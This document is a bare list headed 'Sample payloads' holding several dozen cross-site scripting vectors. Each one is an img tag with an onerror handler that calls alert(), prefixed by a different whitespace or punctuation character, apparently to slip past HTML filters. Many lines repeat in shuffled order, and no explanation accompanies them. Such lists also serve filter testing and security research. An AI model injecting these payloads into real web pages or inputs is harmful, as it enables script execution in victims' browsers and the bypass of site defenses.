Sample payloads
<img src=data: onerror=" alert('&puncsp;')">
<img src=data: onerror=" alert('&ensp;')">
<img src=data: onerror="	alert('&Tab;')">
<img src=data: onerror=" alert('&emsp;')">
<img src=data: onerror=" alert('&NonBreakingSpace;')">
<img src=data: onerror=" alert('&VeryThinSpace;')">
<img src=data: onerror=" alert('&ThinSpace;')">
<img src=data: onerror=" alert('&emsp13;')">
<img src=data: onerror="  alert('&ThickSpace;')">
<img src=data: onerror="+alert('&plus;')">
<img src=data: onerror=";alert('&semi;')">
<img src=data: onerror=" alert('&nbsp;')">
<img src=data: onerror="
alert('&NewLine;')">
<img src=data: onerror=" alert('&emsp14;')">
<img src=data: onerror="!alert('&excl;')">
<img src=data: onerror=" alert('&hairsp;')">
<img src=data: onerror=" alert('&numsp;')">
<img src=data: onerror=" alert('&thinsp;')">
<img src=data: onerror=" alert('&MediumSpace;')">
<img src=data: onerror=" alert('&numsp;')">
<img src=data: onerror="  alert('&ThickSpace;')">
<img src=data: onerror="!alert('&excl;')">
<img src=data: onerror=";alert('&semi;')">
<img src=data: onerror=" alert('&VeryThinSpace;')">
<img src=data: onerror=" alert('&hairsp;')">
<img src=data: onerror=" alert('&emsp14;')">
<img src=data: onerror=" alert('&emsp13;')">
<img src=data: onerror=" alert('&nbsp;')">
<img src=data: onerror="
alert('&NewLine;')">
<img src=data: onerror="+alert('&plus;')">
<img src=data: onerror="	alert('&Tab;')">
<img src=data: onerror=" alert('&ensp;')">
<img src=data: onerror=" alert('&NonBreakingSpace;')">
<img src=data: onerror=" alert('&emsp;')">
<img src=data: onerror=" alert('&thinsp;')">
<img src=data: onerror=" alert('&MediumSpace;')">
<img src=data: onerror=" alert('&ThinSpace;')">
<img src=data: onerror=" alert('&puncsp;')">
<img src=data: onerror=" alert('&emsp13;')">
<img src=data: onerror=" alert('&emsp14;')">
<img src=data: onerror=" alert('&emsp;')">
<img src=data: onerror=" alert('&ensp;')">
<img src=data: onerror="!alert('&excl;')">
<img src=data: onerror=" alert('&hairsp;')">
<img src=data: onerror=" alert('&MediumSpace;')">
<img src=data: onerror=" alert('&nbsp;')">
<img src=data: onerror="
alert('&NewLine;')">
<img src=data: onerror=" alert('&NonBreakingSpace;')">
<img src=data: onerror=" alert('&numsp;')">
<img src=data: onerror="+alert('&plus;')">
<img src=data: onerror=" alert('&puncsp;')">
<img src=data: onerror=";alert('&semi;')">
<img src=data: onerror="	alert('&Tab;')">
<img src=data: onerror="  alert('&ThickSpace;')">
<img src=data: onerror=" alert('&ThinSpace;')">
<img src=data: onerror=" alert('&thinsp;')">
<img src=data: onerror=" alert('&VeryThinSpace;')">